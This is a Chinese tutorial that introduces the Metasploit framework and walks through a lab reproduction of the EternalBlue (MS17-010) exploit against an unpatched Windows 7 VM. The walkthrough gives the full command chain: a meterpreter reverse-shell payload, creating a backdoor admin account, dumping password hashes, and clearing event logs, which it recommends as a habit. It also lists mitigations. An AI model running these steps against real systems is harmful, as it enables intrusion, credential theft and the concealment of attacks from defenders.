Metasploit渗透框架介绍及永恒之蓝复现
一、Metasploit渗透框架介绍
1.1 名词解释
- POC:Proof of Concept,概念证明,用来证明漏洞存在的一段代码,没有攻击性;
- EXP:Exploit,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性;
- Payload:有效载荷,指在Exploit执行成功后,正在在系统进行执行的代码或指令;
- ShellCode:一段用于利用漏洞而执行的代码,为16进制的机器码,由于其建立正向/反向shell而得名;
1.2 MSF简介
- The Metasploit Framework 的简称。MSF高度模块化,即框架由多个module组成,全球最受欢迎的渗透测试工具之一;
- 是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行shellcode,并保持持续更新;
- metasploit涵盖了渗透测试中全过程,用户可以在框架下利用现有的payload进行一系列的渗透测试;
1.3 MSF框架结构
kali-metasploit框架目录路径:/usr/share/metasploit-framework
- data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件;
- documention:包含框架的可用文档;
- lib:metasploit的库文件夹;
- plugins:用来存放metasploit插件;
- scripts:用来存放metasploit的脚本,包括metepreter及其脚本;
- tools:存放多种的命令行实用程序;
- modules:存储metasploit的模块文件;
kali-metasploit版本及更新
#查看版本
msfconsole -v
#更新
apt-get update
apt-get install metasploit-framework
启动msfconsole
- Msfconsole是metasploit框架用户接口。通过该接口可以实用metasploit中的所有模块;
- Msfconsole主要用于:
管理metasploit数据库;
管理会话;
配置启动metasploit模块;
1.4 MSF命令汇总
1.4.1 常用命令
命令 | 介绍 |
---|---|
show exploits | 查看所有可用的渗透攻击程序代码; |
show auxiliary | 查看所有可用的辅助攻击工具; |
show options/advanced | 查看该模块可用选项; |
show payloads | 查看该模块适用的所有有效载荷; |
show targets | 查看该模块适用的攻击目标类型; |
search xxx | 根据关键字搜索xxx模块; |
info | 显示某模块的详细信息; |
use xxx | 使用xxx渗透攻击模块; |
back | 回退 |
set/unset | 设置/禁用模块中的某个参数; |
setg/unsetg | 设置/禁用适用于所有模块的全局参数; |
1.4.2 基本命令
命令 | 介绍 |
---|---|
? | 执行?命令:帮助菜单 |
search | 搜索模块名和描述。 |
use | 使用命令 |
back | 从当前环境返回。 |
Banner | 命令,显示一个MSF的banner。 |
color | 颜色转换 |
connect | 连接一个主机 |
exit | 退出MSF |
info | 显示一个或多个模块的信息 |
irb | 进入irb脚本模式。 |
jobs | 显示和管理作业(和windows任务管理器的进程作用一样) |
kill | 杀死一个作业(和结束进程的作用一样)。 |
loadpath | 加载一个模块的路径。 |
quit | 退出MSF。 |
load | 加载一个插件。 |
load | 加载一个插件。 |
route | 查看一个会话的路由信息。 |
save | 保存动作 |
set | 给一个变量赋值 |
show | 显示给所有类型的模块 |
setg | 把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中 |
sleep | 在限定的秒数内什么也不做 |
unload | 卸载一个模块 |
unset | 解出一个或多个变量。 |
unsetg | 解出一个或多个全局变量 |
version | 显示MSF和控制台库版本 |
1.4.3 Exploits模块
命令 | 介绍 |
---|---|
RHOST | 目标主机IP地址 |
RPORT | 目标主机连接端口 |
Payload | 有效的载荷,成功后返回shell |
LHOST | 攻击者的IP地址 |
LPORT | 攻击者的端 |
1.4.4 漏洞名称规则
命令 | 介绍 |
---|---|
shell_find_tag | 在一个已建立的连接上创建一个shell |
shell_reverse_tcp | 反向连接到攻击者主机并创建一个shell |
bind_tcp | 监听一个tcp连接 |
reverse_tcp | 反向建立tcp连接 |
reverse_http | 通过HTTP隧道通信并创建一个新用户添加到管理组 |
add_user | 创建一个新用户并添加到管理组 |
xxx_ipv6_tcp | 基于IPV6 |
xxx_nonx_tcp | no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术) |
xxx_ord_tcp | 有序payload |
xxx_tcp_allports | 在所有可能的端口 |
1.5 MSF模块介绍
- 模块是通过metasploit框架装载集成对外提供最核心的渗透测试功能实现代码;
- MSF所有的漏洞测试都是基于模块;
1.5.1 auxiliary(辅助模块)
- 辅助渗透:端口扫描、密码爆破、漏洞验证等
- 用于辅助操作的模块,辅助模块能在渗透之前得到目标系统丰富的情报信息,从而发起更具有攻击性的攻击行为;
- 例如:针对各种网络服务扫描与查点、网络扫描、枚举、漏洞扫描、口令破解、模糊测试、爬虫遍历、数据提取等;
- 此外,辅助模块中还包括一些无需加载攻击载荷,同时往往不是取得目标系统远程控制权的渗透攻击,如拒绝服务攻击;
1.5.2 exploits(漏洞利用模块)
- 包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类;
- 利用漏洞和传递有效负载的模块。利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对目标系统访问控制权的代码组件;
- 有远程漏洞利用、本地漏洞利用、权限提升漏洞利用、客户端漏洞利用、web应用程序漏洞利用和许多其他漏洞;
1.5.3 payloads(攻击载荷)
- 主要是攻击成功后在目标机器执行的代码,比如反弹shell代码;
- 用于在利用期间执行操作的模块。攻击载荷是在渗透成功后在目标系统运行的一段植入代码,通常是为渗透攻击者打开在目标系统上的控制会话连接。在传统的渗透代码开发中,攻击载荷只是一段简单的ShellCode代码。例如:建立Meterpreter会话、反向shell、执行命令、下载和执行程序等;
1.5.4 post(后渗透阶段模块)
- 漏洞利用成功后获得meterpreter之后,向目标发送到的一些功能性指令,如:提权等;
- 用于在拿到权限后进行渗透利用操作的模块。例如凭证/哈希转储、本地权限提升、后门安装、敏感数据提取、网络流量隧道(代理)、键盘记录、屏幕捕获和许多其他操作;
1.5.5 encoders(编码器模块)
- 主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统;
- 用于有效负载编码和加密的模块,例如 base64 、 XOR 、 shikata_ga_nai 等。这有助于混淆以规避防病毒或 NIDS (网络入侵检测系统)、 EDR (端点检测和响应)等防御。
1.5.6 evasion(躲避模块)
- 用来生成免杀payload
- 用于规避防御的模块,例如防病毒规避、 AppLocker 绕过、软件限制策略 (SRP) 绕过等。
1.5.7 nops(空指令模块)
- 空指令就是空操作,提高paylaod稳定性及维持大小;
- 用于生成无害、良性的“无操作”指令的模块,例如用于填充目的、在利用期间在内存中滑动等。用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。
- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
- 在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行Shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败,从而提高渗透攻击的可靠性。
二、Windows下的MS17-010(永恒之蓝)漏洞分析与复现
2.1 永恒之蓝
- 永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用美国国家安全局泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 ,“永恒之蓝”是利用Windows系统的SMB漏洞来获取Windows系统的最高权限。
3、影响版本:
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
2.2 漏洞原理
- 永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
- 补充:
“445端口是TCP共享服务 445端口它将尝试同时连接到端口139和445。如果端口445有响应,它将向端口139发送TCPRST数据包,以断开并继续与端口455的通信;当端口445没有响应时,使用端口139。”
“139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows"文件和打印机共享"和SAMBA。在Internet上共享自己的硬盘可能是最常见的问题。139属于TCP协议。”
2.3 影响版本
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
2.4 复现环境
- 攻击机:kali-Linux-2022.2(IP:192.168.50.133/24)
- 靶机:Windows 7(IP:192.168.50.159/24)
- kali-Linux-2022.2镜像下载地址:ttps://www.kali.org/get-kali/#kali-bare-metal
- Windows 7镜像下载地址:https://msdn.itellyou.cn/
- kali-Linux-2022.2和Windows 7能够相互ping通,Windows 7靶- 机关闭防火墙,开启445端口(默认端口开启),Windows 7靶机不要打补丁
2.5 攻击流程
Metasploit攻击流程参考:
Metasploit进行渗透攻击的基本步骤:
1、 使用nmap进行端口扫描
2、 使用search命令查找相关模块
3、 使用use调度模块
4、 使用info查看模块信息
5、 选择payload作为攻击
6、 设置攻击参数
7、 渗透攻击
8、后渗透攻击
2.6 漏洞复现
1、使用kali自带的nmap对靶机进行端口扫描,扫描到445端口处于开放状态
nmap 192.168.50.159
2、启动kali自带的msf,显示msf6>后说明已经进入msf了
msfconsole
3、搜寻永恒之蓝漏洞(MS17-010)可使用的攻击模块
search ms17-010
4、使用相应模块auxiliary/scanner/smb/smb_ms17_010对靶机进行验证,验证靶机是否存在永恒之蓝漏洞(MS17-010),可直接使用模块前面对应的数字,效果相同
use 3
5、查询配置,yes 全部需要手动配置,配置已经存在的,可以使用它给的默认配置也可以对该配置进行更改,no 就无需理会
show options
我这里只需配置RHOSTS(靶机IP地址)就行了,其他默认
set rhosts 192.168.50.159
配置有效载荷,该步的作用是攻击机扫描完后,使靶机反弹回一个会话给攻击机建立连接
set payload windows/x64/meterpreter/reverse_tcp
6、使用exploit或run命令进行攻击,显示靶机存在永恒之蓝漏洞(MS17-010)
exploit/run
7、正式开始攻击。换用攻击模块exploit/windows/smb/ms17_010_eternalblue对应前面的数字为0(我的此攻击模块对应前面的数字是0)
use 0
重复第5步步骤,注意:执行show options命令后查看到yes对应的地方如果是空的需要全部配上;
8.使用exploit或run命令进行攻击,这时靶机会反弹一个会话,然后可以进行下一步操作,比如查看靶机版本信息或者获取靶机的shell权限等
run
9、对靶机进行一系列操作
查看系统信息
sysinfo
反弹shell
shell
可以创建用户
net user xxxx 1234 /add(xxxx用户名 1234密码)
net localgroup administrators xxxx /add (将用户设置为管理员权限)
net user
得到账户hash,解码可以得到密码
hashdump
找到显示的路径可以看到受害者屏幕截图
screenshot
显示成功
记得保持清除日志的好习惯
clearev
2.7 永恒之蓝漏洞解决办法
1、开启防火墙
2、对系统进行升级或者打补丁
3、关闭相应的端口
2.8 参考
转载:https://blog.csdn.net/qq_40216188/article/details/128669636